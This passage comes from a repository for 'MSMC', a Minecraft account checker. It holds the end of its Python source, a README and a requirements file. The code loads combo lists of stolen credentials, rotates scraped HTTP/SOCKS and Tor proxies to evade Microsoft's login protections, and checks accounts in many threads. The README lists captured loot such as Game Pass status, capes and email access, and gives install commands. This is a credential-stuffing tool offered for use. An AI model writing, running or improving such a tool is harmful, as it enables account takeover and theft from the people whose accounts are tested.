list(set(socks4)) 704 | socks5 = list(set(socks5)) 705 | proxylist.clear() 706 | for proxy in http: proxylist.append({'http': 'http://'+proxy, 'https': 'http://'+proxy}) 707 | for proxy in socks4: proxylist.append({'http': 'socks4://'+proxy,'https': 'socks4://'+proxy}) 708 | for proxy in socks5: proxylist.append({'http': 'socks5://'+proxy,'https': 'socks5://'+proxy}) 709 | if screen == "'2'": print(Fore.LIGHTBLUE_EX+f'Scraped [{len(proxylist)}] proxies') 710 | time.sleep(config.get('autoscrape') * 60) 711 | get_proxies() 712 | 713 | def banproxyload(): 714 | global banproxies 715 | proxyfile = filedialog.askopenfile(mode='rb', title='Choose a SOCKS5 Proxy file',filetype=(("txt", "*.txt"), ("All files", "*.txt"))) 716 | if proxyfile is None: 717 | print(Fore.LIGHTRED_EX+"Invalid File.") 718 | time.sleep(2) 719 | Proxys() 720 | else: 721 | try: 722 | with open(proxyfile.name, 'r+', encoding='utf-8', errors='ignore') as e: 723 | ext = e.readlines() 724 | for line in ext: 725 | try: 726 | proxyline = line.split()[0].replace('\n', '') 727 | banproxies.append(proxyline) 728 | except: pass 729 | print(Fore.LIGHTBLUE_EX+f"Loaded [{len(banproxies)}] lines.") 730 | time.sleep(2) 731 | except Exception: 732 | print(Fore.LIGHTRED_EX+"Your file is probably harmed.") 733 | time.sleep(2) 734 | banproxyload() 735 | 736 | def Main(): 737 | global proxytype, screen 738 | utils.set_title("MSMC by KillinMachine") 739 | os.system('cls') 740 | try: 741 | loadconfig() 742 | except: 743 | print(Fore.RED+"There was an error loading the config. Perhaps you're using an older config? If so please delete the old config and reopen MSMC.") 744 | input() 745 | exit() 746 | print(logo) 747 | try: 748 | print(Fore.LIGHTBLACK_EX+"(speed for checking, i recommend 100, give more threads if its slow. if proxyless give at most 5 threads.)") 749 | thread = int(input(Fore.LIGHTBLUE_EX+"Threads: ")) 750 | except: 751 | print(Fore.LIGHTRED_EX+"Must be a number.") 752 | time.sleep(2) 753 | Main() 754 | print(Fore.LIGHTBLUE_EX+"Proxy Type: [1] Http\s - [2] Socks4 - [3] Socks5 - [4] None - [5] Auto Scraper") 755 | proxytype = repr(readchar.readkey()) 756 | cleaned = int(proxytype.replace("'", "")) 757 | if cleaned not in range(1, 6): 758 | print(Fore.RED+f"Invalid Proxy Type [{cleaned}]") 759 | time.sleep(2) 760 | Main() 761 | print(Fore.LIGHTBLUE_EX+"Screen: [1] CUI - [2] Log") 762 | screen = repr(readchar.readkey()) 763 | print(Fore.LIGHTBLUE_EX+"Select your combos") 764 | Load() 765 | if proxytype != "'4'" and proxytype != "'5'": 766 | print(Fore.LIGHTBLUE_EX+"Select your proxies") 767 | Proxys() 768 | if config.get('proxylessban') == False and config.get('hypixelban') is True: 769 | print(Fore.LIGHTBLUE_EX+"Select your SOCKS5 Ban Checking Proxies.") 770 | banproxyload() 771 | if proxytype =="'5'": 772 | print(Fore.LIGHTGREEN_EX+"Scraping Proxies Please Wait.") 773 | threading.Thread(target=get_proxies).start() 774 | while len(proxylist) == 0: 775 | time.sleep(1) 776 | if not os.path.exists("results"): os.makedirs("results/") 777 | if not os.path.exists('results/'+fname): os.makedirs('results/'+fname) 778 | if screen == "'1'": cuiscreen() 779 | elif screen == "'2'": logscreen() 780 | else: cuiscreen() 781 | with concurrent.futures.ThreadPoolExecutor(max_workers=thread) as executor: 782 | futures = [executor.submit(Checker, combo) for combo in Combos] 783 | concurrent.futures.wait(futures) 784 | finishedscreen() 785 | input() 786 | Main() 787 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # MSMC 2 | ## About: 3 | msmc is a minecraft account checker that checks through microsoft xbox login instead of the older mojang login. 4 | it supports http(s), socks4, socks5 proxies but they must be pretty decent because microsofts authentication is very protective. it also uses tor proxies. it auto installs tor for you if selected. 5 | 6 | ## Proxy Format: 7 | `user:pass@ip:port` and `ip:port` 8 | 9 | ### [github discord](https://discord.com/invite/JcAvQc797r) | boosting gives access to beta msmc 10 | 11 | ## Captures: 12 | - xbox game pass/xbox game pass ultimate accounts 13 | - minecraft capes 14 | - optifine cape 15 | - email access 16 | - last name change 17 | - hypixel rank, level, first/last login, bedwars stars, skyblock coins, ban status 18 | 19 | ## Installing: 20 | MSMC ONLY SUPPORTS WINDOWS IT WILL NOT WORK ON LINUX OR MACOS 21 | ### [LINUX VERSION](https://github.com/8h3-coder/MSMC_Linux) (thanks to 8h3) 22 | 23 | Watch the tutorial [here](https://youtu.be/R4ivtEXpC_0) 24 | 25 | You do not need to install tor. Tor is automatically installed when selected for proxies. 26 | 27 | install [python](https://www.python.org/downloads/) and [git](https://git-scm.com/download/win) 28 | ``` 29 | git clone https://github.com/MachineKillin/MSMC 30 | cd MSMC 31 | pip install -r requirements.txt 32 | python MSMC.py 33 | ``` 34 | 35 | ## Addons 36 | [Inboxer](https://github.com/PgerTools/MSMC-Inbox) 37 | 38 | ## Pictures: 39 | ![LOG](https://i.imgur.com/oBd2Pbj.png) 40 | 41 | ## Usage: 42 | You are not allowed to sell msmc or any modified versions. If you use any of my code please give me credit. 43 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | colorama==0.4.6 2 | console==0.9907 3 | readchar==4.0.5 4 | requests>=2.32.0 5 | urllib3==2.2.2 6 | configparser==6.0.0 7 | stem==1.8.2 8 | requests[socks] 9 | git+https://github.com/ammaraskar/pyCraft.git 10 | PySocks==1.7.1 11 | --------------------------------------------------------------------------------